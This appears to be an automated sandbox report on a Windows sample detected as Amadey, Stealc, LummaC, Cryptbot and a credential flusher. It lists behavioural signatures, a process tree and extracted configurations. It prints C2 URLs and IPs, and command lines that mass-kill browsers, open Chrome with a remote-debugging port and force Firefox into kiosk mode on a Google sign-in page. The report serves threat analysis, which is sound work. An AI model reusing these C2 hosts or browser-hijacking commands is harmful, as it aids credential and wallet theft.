Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561305
MD5:	3dda196e23d46002e364e5cab7803f7a
SHA1:	fba9b6b66fb54d04d82b412e41c61051d72cdabb
SHA256:	8810efdced51fdea03108e8062441f480727460876660c86ef372a8f7ae5feb4
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7036 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3DDA196E23D46002E364E5CAB7803F7A)

skotes.exe (PID: 6460 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3DDA196E23D46002E364E5CAB7803F7A)

skotes.exe (PID: 2124 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3DDA196E23D46002E364E5CAB7803F7A)

skotes.exe (PID: 7656 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3DDA196E23D46002E364E5CAB7803F7A)

2a8b7e5b78.exe (PID: 7860 cmdline: "C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe" MD5: 0B6B622DE253D8EBAB387A924F7735D2)

chrome.exe (PID: 512 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2436,i,8770856731178862040,3094494008038900450,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

2235d4f703.exe (PID: 8096 cmdline: "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe" MD5: B70B1671BAA5D6CAAACE25D7DDCD78FE)

chrome.exe (PID: 4448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1984,i,8577691366813222456,478156052820439559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2452,i,10496958904193057390,10329293642163972138,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

86526d7b20.exe (PID: 3428 cmdline: "C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe" MD5: C39EB549A7DC6F9F6EEABABCAEA602DC)

9afe8d29fa.exe (PID: 4500 cmdline: "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe" MD5: 013C3FB391228F0AE96123AAFD47F414)

taskkill.exe (PID: 7260 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7320 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7364 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7452 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1184 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1308 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

d0d78d3fdb.exe (PID: 2600 cmdline: "C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe" MD5: 3A635FEF14102B754410ECE391685B93)

2235d4f703.exe (PID: 2132 cmdline: "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe" MD5: B70B1671BAA5D6CAAACE25D7DDCD78FE)

chrome.exe (PID: 6496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2012,i,14918439842847781835,4316525183382803892,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

firefox.exe (PID: 2792 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7072 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3248 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {860ecd33-e110-4052-ae68-4e078883f33a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 234fd670d10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6844 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3252 -parentBuildID 20230927232528 -prefsHandle 3424 -prefMapHandle 4020 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {50c83aef-67bf-4254-8691-55a698a37a6b} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 2348fa9a310 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

2235d4f703.exe (PID: 7528 cmdline: "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe" MD5: B70B1671BAA5D6CAAACE25D7DDCD78FE)

chrome.exe (PID: 6624 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4500 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1964,i,2156908519176632186,6185840840257253882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

86526d7b20.exe (PID: 3428 cmdline: "C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe" MD5: C39EB549A7DC6F9F6EEABABCAEA602DC)

9afe8d29fa.exe (PID: 4624 cmdline: "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe" MD5: 013C3FB391228F0AE96123AAFD47F414)

taskkill.exe (PID: 4408 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1852 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3916 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3612 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3244 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4264 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

d0d78d3fdb.exe (PID: 4264 cmdline: "C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe" MD5: 3A635FEF14102B754410ECE391685B93)

firefox.exe (PID: 5516 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

9afe8d29fa.exe (PID: 6424 cmdline: "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe" MD5: 013C3FB391228F0AE96123AAFD47F414)

taskkill.exe (PID: 8036 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6864 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5124 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000003.2687234574.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1734319751.0000000000651000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2938363540.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1759436709.0000000000B41000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2691719903.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2687820469.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2687023350.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2684773955.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2687551032.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2692244836.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2690149130.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2689623976.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1718718912.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2689107439.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2684931089.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2689461786.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2685083573.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2685489848.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2688197199.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2691008602.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.2949459984.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.2849604282.00000000057C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2686690326.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2656642315.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2689292480.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2686127655.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2686379519.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2686826837.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2684618829.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1759412863.0000000000B41000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2691890013.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2689912258.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2286916639.0000000004900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2691231854.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2685228228.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2657928655.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2687374958.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2691530226.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2637178904.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2687687305.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2685966414.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2629461937.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2684409963.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2692800231.0000000001242000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2688669064.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2688360776.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2688574615.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2685660579.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2688510791.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2688046289.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2685819613.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2690743113.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2689206036.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2686546843.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2692391069.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1719175764.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2692056970.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2688928457.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2629911709.0000000001240000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1693568536.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 2235d4f703.exe PID: 8096	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2235d4f703.exe PID: 8096	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 86526d7b20.exe PID: 3428	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 86526d7b20.exe PID: 3428	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2235d4f703.exe PID: 2132	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2235d4f703.exe PID: 2132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2235d4f703.exe PID: 2132	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9afe8d29fa.exe PID: 4500	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 63 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.650000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
